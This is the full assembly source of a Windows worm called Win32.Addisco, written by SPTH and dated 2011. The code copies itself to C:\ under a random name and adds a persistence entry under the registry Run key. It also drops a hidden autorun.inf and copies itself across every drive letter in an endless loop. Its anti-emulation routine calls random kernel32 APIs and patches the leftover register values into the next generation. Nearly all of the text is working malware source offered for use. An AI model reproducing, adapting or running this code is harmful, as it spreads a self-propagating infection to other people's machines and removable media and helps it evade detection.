;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Win32.Addisco ;; by SPTH ;; October 2011 ;; ;; ;; This is a worm which spreads via network/removable/USB drives. ;; ;; The special thing is that it is able to find and implement ;; new Anti-Emulation tricks autonomously. ;; ;; This is done via analysing the undocumented leftover values in ECX ;; and EDX after an random Windows API call. The API is analysed in ;; a Black-Box test - if for a given set of parameters a constant ;; ECX+EDX value is found, a new Anti-Emulation trick is created for ;; the next generation. ;; ;; The worm is aware of "Address Space Layout Randomization" (ASLR). ;; ;; More details can be found in an article "Dynamic Anti-Emulation ;; using Blackbox Analysis". ;; ;; This analyse of the environment and autonomous developement of new ;; self-defending trick seems to be a simple form of machine learning. :-) ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Programme\FASM\INCLUDE\win32ax.inc' .data constFileSize EQU 0x1000 constCodeStart EQU 0x0400 hMyFileName dd 0x0 hFileHandle dd 0x0 hMapHandle dd 0x0 hMapViewAddress dd 0x0 hVEH dd 0x0 bException dd 0x0 sESP dd 0x0 s2ESP dd 0x0 RandomNumber dd 0x0 RandOrdinal dd 0x0 RndFctAddress dd 0x0 RndFctArguments dd 0x0 rept 0x10 c { RndFctArg#c dd 0x0 } RndFct_RV_ECX dd 0x0 RndFct_RV_EDX dd 0x0 kernel32 db "kernel32.dll",0x0 hKernel dd 0x0 nOSVersion dd 0x0 SpaceForHDC: dd 0x0 ; should be 0x0, C:\ RandomFileName: times 13 db 0x0 SpaceForHDC2: dd 0x0 ; should be 0x0, X:\ RandomFileName2:times 13 db 0x0 stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0 hKey dd 0x0 stAutoRunContent: times 52 db 0x0 stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\" stAutoruninf: times 12 db 0x0 ; "autorun.inf" hCreateFileAR dd 0x0 hCreateFileMappingAR dd 0x0 macro VEH_TRY c* { mov dword[sESP], esp push VEH_Handler#c push 0x1 stdcall dword[AddVectoredExceptionHandler] mov dword[hVEH], eax } macro VEH_EXCEPTION c* { mov dword[bException], 0x0 jmp VEH_NoException#c VEH_Handler#c: mov esp, dword[sESP] mov dword[bException], 0x1 } macro VEH_END c* { VEH_NoException#c: mov eax, dword[hVEH] push eax stdcall dword[RemoveVectoredExceptionHandler] } .code start: stdcall dword[GetVersion] cmp eax, 0x0A280105 ; Version here jne StartEngine ; WrongVersion of OS push kernel32 stdcall dword[LoadLibrary] add eax, 0x1234'5678 times (0x10*5 + 2 + 6 + 2 + 1): nop ; 0x10*push + call + cmp + je + ret ; ########################################################################### ; ##### ; ##### Preparation (copy file, get kernel, ...) ; ##### StartEngine: stdcall dword[GetVersion] mov dword[nOSVersion], eax push 0x8007 stdcall dword[SetErrorMode] stdcall dword[GetCommandLineA] mov dword[hMyFileName], eax cmp byte[eax], '"' jne FileNameIsFine inc eax mov dword[hMyFileName], eax FindFileNameLoop: inc eax cmp byte[eax], '"' jne FindFileNameLoop mov byte[eax], 0x0 FileNameIsFine: stdcall dword[GetTickCount] mov dword[RandomNumber], eax xor esi, esi CopyFileAndRegEntryMore: mov ebx, 26 mov ecx, 97 call CreateSpecialRndNumber mov byte[RandomFileName+esi], dl inc esi cmp esi, 8 jb CopyFileAndRegEntryMore mov eax, ".exe" mov dword[RandomFileName+esi], eax mov al, "C" mov byte[SpaceForHDC+1], al mov al, ":" mov byte[SpaceForHDC+2], al mov al, "\" mov byte[SpaceForHDC+3], al push FALSE push SpaceForHDC+1 push dword[hMyFileName] stdcall dword[CopyFileA] push kernel32 ; Get Kernel32 stdcall dword[LoadLibrary] cmp eax, 0 je SpreadKitty mov dword[hKernel], eax ; ##### ; ##### Preparation (copy file, get kernel, ...) ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### call random API & save undocumented ECX&EDX ; ##### SearchRandomAPI: call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x40 - 1) jz SpreadKitty ; Probabilistic quiting (1/64) call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x400 - 1) ; 0-1023 mov dword[RandOrdinal], eax push dword[RandOrdinal] push dword[hKernel] stdcall dword[GetProcAddress] cmp eax, 0x0 je SearchRandomAPI mov dword[RndFctAddress], eax mov dword[s2ESP], esp ; Save original ESP times 0x10: push 0 ; PUSH 16 parameters VEH_TRY FirstRun ; { stdcall dword[RndFctAddress] ; try it ;) ; } VEH_EXCEPTION FirstRun ; { ; no success :-/ mov esp, dword[s2ESP] ; restore ESP ; } VEH_END FirstRun cmp dword[bException], 0x1 je SearchRandomAPI ; Get Number of arguments used by this random API :) mov eax, esp sub eax, dword[sESP] shr eax, 2 ; eax/=4 -> number of arguments mov dword[RndFctArguments], eax mov esp, dword[s2ESP] ; restore ESP call RandomizeArguments call PushNArgumentsToStack VEH_TRY RealRun1 ; { stdcall dword[RndFctAddress] mov dword[RndFct_RV_ECX], ecx mov dword[RndFct_RV_EDX], edx ; } VEH_EXCEPTION RealRun1 ; { mov esp, dword[s2ESP] ; restore ESP ; } VEH_END RealRun1 cmp dword[bException], 0x1 je SearchRandomAPI ; Run again and compare ECX and EDX, just in case (Time-APIs and stuff like that, dependence on register values) call PushNArgumentsToStack VEH_TRY RealRun2 ; { call RandomizeRegisters stdcall dword[RndFctAddress] sub ecx, dword[RndFct_RV_ECX] jz RealRun2ECX_OK xor eax, eax mov dword[eax], 42 RealRun2ECX_OK: sub edx, dword[RndFct_RV_EDX] jz RealRun2EDX_OK xor eax, eax mov dword[eax], 42 RealRun2EDX_OK: ; } VEH_EXCEPTION RealRun2 ; { mov esp, dword[s2ESP] ; restore ESP ; } VEH_END RealRun2 cmp dword[bException], 0x1 je SearchRandomAPI ; ##### ; ##### call random API & save undocumented ECX&EDX ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Open New File ; ##### push 0x0 push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push 0x0 push 0x0 push (GENERIC_READ or GENERIC_WRITE) push SpaceForHDC+1 stdcall dword[CreateFileA] cmp eax, INVALID_HANDLE_VALUE je IVF_NoCreateFile mov dword[hFileHandle], eax push 0x0 push constFileSize push 0x0 ; nFileSizeHigh=0 from above push PAGE_READWRITE push 0x0 push dword[hFileHandle] stdcall dword[CreateFileMappingA] cmp eax, 0x0 je IVF_NoCreateMap mov dword[hMapHandle], eax push constFileSize push 0x0 push 0x0 push FILE_MAP_WRITE push dword[hMapHandle] stdcall dword[MapViewOfFile] cmp eax, 0x0 je IVF_NoMapView mov dword[hMapViewAddress], eax ; ##### ; ##### Open New File ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Change Anti-Debugging API call at code start ; ##### add eax, constCodeStart mov ebx, dword[nOSVersion] mov dword[eax + 0x07], ebx ; write new OS mov ebx, dword[RndFctAddress] ; Change "add eax, NNNN" sub ebx, dword[hKernel] ; where NNNN=Functionaddress-Kerneladdress mov dword[eax + 0x19], ebx mov edi, RndFctArg1 mov esi, eax add esi, 0x1D mov ecx, dword[RndFctArguments] jecxz NoFurtherPush MoreArgPush: add edi, 0x04 mov byte[esi], 0x68 ; push mov ebx, dword[edi] mov dword[esi + 0x01], ebx ; argument add esi, 0x05 dec ecx jnz MoreArgPush NoFurtherPush: mov word[esi], 0xD0FF ; call add esi, 0x2 mov eax, dword[RndFct_RV_ECX] and eax, 0xFF00'0000 mov ebx, dword[hKernel] and ebx, 0xFF00'0000 cmp eax, ebx je NoECX_Kernel mov dword[esi], 0x0000'F981 ; cmp ecx, NNNN add esi, 0x2 mov ebx, dword[RndFct_RV_ECX] mov dword[esi], ebx add esi, 0x4 ; value of ECX mov dword[esi], 0x00C3'0174 ; je ... + ret add esi, 0x3 NoECX_Kernel: mov eax, dword[RndFct_RV_EDX] and eax, 0xFF00'0000 mov ebx, dword[hKernel] and ebx, 0xFF00'0000 cmp eax, ebx je NoEDX_Kernel mov dword[esi], 0x0000'FA81 ; cmp ecx, NNNN add esi, 0x2 mov ebx, dword[RndFct_RV_EDX] mov dword[esi], ebx add esi, 0x4 ; value of EDX mov dword[esi], 0x00C3'0174 ; je ... + ret add esi, 0x3 NoEDX_Kernel: mov ecx, constCodeStart+(StartEngine-start) add ecx, dword[hMapViewAddress] PaddingTheHead: mov byte[esi], 0x90 inc esi cmp esi, ecx jne PaddingTheHead ; ##### ; ##### Change Anti-Debugging API call at code start ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Close New File ; ##### IVF_CloseMapView: push dword[hMapViewAddress] stdcall dword[UnmapViewOfFile] IVF_NoMapView: push dword[hMapHandle] call dword[CloseHandle] IVF_NoCreateMap: push dword[hFileHandle] call dword[CloseHandle] IVF_NoCreateFile: ; ##### ; ##### Close New File ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Spread this kitty ;) ; ##### SpreadKitty: ; Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ; One could permute it - but too lazy for doing this task atm :) mov eax, stKey mov dword[eax+0x00], "SOFT" mov dword[eax+0x04], "WARE" mov dword[eax+0x08], "\Mic" mov dword[eax+0x0C], "roso" mov dword[eax+0x10], "ft\W" mov dword[eax+0x14], "indo" mov dword[eax+0x18], "ws\C" mov dword[eax+0x1C], "urre" mov dword[eax+0x20], "ntVe" mov dword[eax+0x24], "rsio" mov dword[eax+0x28], "n\Ru" mov byte[eax+0x2C], "n" push 0x0 push hKey push 0x0 push KEY_ALL_ACCESS push REG_OPTION_NON_VOLATILE push 0x0 push 0x0 push stKey push HKEY_LOCAL_MACHINE stdcall dword[RegCreateKeyExA] push 16 push SpaceForHDC+1 push REG_SZ push 0x0 push 0x0 push dword[hKey] stdcall dword[RegSetValueExA] push dword[hKey] stdcall dword[RegCloseKey] xor eax, eax mov dword[stAutorunWithDrive], "X:\a" mov dword[stAutorunWithDrive+2], "\aut" mov dword[stAutoruninf+3], "orun" mov dword[stAutoruninf+7], ".inf" ; mov eax, "[Aut" mov dword[stAutoRunContent], "[Aut" mov dword[stAutoRunContent+0x04], "orun" mov dword[stAutoRunContent+0x08], 0x530A0D5D mov dword[stAutoRunContent+0x0C], "hell" ; !!!!!!! mov dword[stAutoRunContent+0x10], "Exec" mov dword[stAutoRunContent+0x14], "ute=" mov eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe mov dword[stAutoRunContent+0x18], eax mov eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe mov dword[stAutoRunContent+0x1C], eax mov dword[stAutoRunContent+0x20], ".exe" mov dword[stAutoRunContent+0x24], 0x73550A0D mov dword[stAutoRunContent+0x28], "eAut" mov dword[stAutoRunContent+0x2C], "opla" mov dword[stAutoRunContent+0x30], 0x00313D79 ; i like that coding style, roy g biv! :)) push 51 push 0x0 push 0x0 push FILE_MAP_ALL_ACCESS push 0x0 push 51 push 0x0 push PAGE_READWRITE push 0x0 push 0x0 push FILE_ATTRIBUTE_HIDDEN push OPEN_ALWAYS push 0x0 push 0x0 push (GENERIC_READ or GENERIC_WRITE) push stAutoruninf stdcall dword[CreateFileA] push eax mov dword[hCreateFileAR], eax stdcall dword[CreateFileMappingA] push eax mov dword[hCreateFileMappingAR], eax stdcall dword[MapViewOfFile] xor cl, cl mov esi, stAutoRunContent MakeAutoRunInfoMore: mov bl, byte[esi] mov byte[eax], bl inc eax inc esi inc ecx cmp cl, 51 jb MakeAutoRunInfoMore sub eax, 51 push dword[hCreateFileAR] push dword[hCreateFileMappingAR] push eax stdcall dword[UnmapViewOfFile] stdcall dword[CloseHandle] stdcall dword[CloseHandle] mov dword[SpaceForHDC2+1], "A:\." mov eax, dword[RandomFileName] mov dword[RandomFileName2], eax ; XXXXxxxx.exe mov eax, dword[RandomFileName+0x04] mov dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe mov eax, dword[RandomFileName+0x08] mov dword[RandomFileName2+0x08], eax ; .exe SpreadKittyAnotherTime: mov dword[SpaceForHDC2], 0x003A4100 ; 0x0, "A:", 0x0 STKAnotherRound: push SpaceForHDC2+1 stdcall dword[GetDriveTypeA] xor ebx, ebx ; 0 ... No Drive ; 1 ... Drive (without autorun.inf) ; 2 ... Drive (with autorun.inf) mov cl, '\' mov byte[SpaceForHDC2+3],cl ; mov byte[DriveNumber], al ; add byte[DriveNumber], 0x30 cmp al, 0x2 je STKWithAutoRun cmp al, 0x3 je STKWithoutAutoRun cmp al, 0x4 je STKWithAutoRun cmp al, 0x6 je STKWithAutoRun jmp STKCreateEntriesForNextDrive STKWithAutoRun: push FALSE push stAutorunWithDrive push stAutoruninf stdcall dword[CopyFileA] STKWithoutAutoRun: push FALSE push SpaceForHDC2+1 push SpaceForHDC+1 stdcall dword[CopyFileA] STKCreateEntriesForNextDrive: xor eax, eax mov al, byte[SpaceForHDC2+1] cmp al, "Z" je SpreadThisKittyEnd inc al mov byte[SpaceForHDC2+1], al ; next drive mov byte[stAutorunWithDrive], al ; next drive mov byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0 jmp STKAnotherRound SpreadThisKittyEnd: call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x8000 - 1) ; 0-32 sec push eax stdcall dword[Sleep] call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x100-1) jnz SpreadKittyAnotherTime invoke MessageBox, 0x0, "If you don't crack the shell, you can't eat the nut.", "Learning the joy of self-defence :-)", 0x0 jmp SpreadKittyAnotherTime ; ##### ; ##### Spread this kitty ;) ; ##### ; ########################################################################### GetRandomNumber: pushad xor edx, edx mov eax, dword[RandomNumber] mov ebx, 1103515245 mul ebx ; EDX:EAX = EDX:EAX * EBX add eax, 12345 mov dword[RandomNumber], eax popad ret CreateSpecialRndNumber: ; in: ebx, ecx ; out: edx=(rand()%ebx + ecx) call GetRandomNumber xor edx, edx mov eax, dword[RandomNumber] div ebx add edx, ecx ret RandomizeArguments: pushad mov ecx, 0x10 mov edi, RndFctArg1 CreateArgLoop: call GetRandomNumber mov eax, dword[RandomNumber] mov dword[edi], eax add edi, 4 dec ecx jnz CreateArgLoop popad ret RandomizeRegisters: call GetRandomNumber mov ecx, dword[RandomNumber] ; Randomize ECX call GetRandomNumber mov edx, dword[RandomNumber] ; Randomize EDX call GetRandomNumber mov eax, dword[RandomNumber] ; Randomize EAX (in case of some "xchg ecx|edx, Reg32") call GetRandomNumber mov ebx, dword[RandomNumber] ; Randomize EBX (in case of some "xchg ecx|edx, Reg32") call GetRandomNumber ; prevent the output to depent on the input registers :) ret ; dont care about esi, edi, ebx. worst case -> no execution PushNArgumentsToStack: pop ebx ; return value mov ecx, dword[RndFctArguments] cmp ecx, 0 je PushNArgumentsToStackFin mov edi, RndFctArg1 PushArgs: push dword[edi] add edi, 4 dec ecx jnz PushArgs PushNArgumentsToStackFin: push ebx ret .end start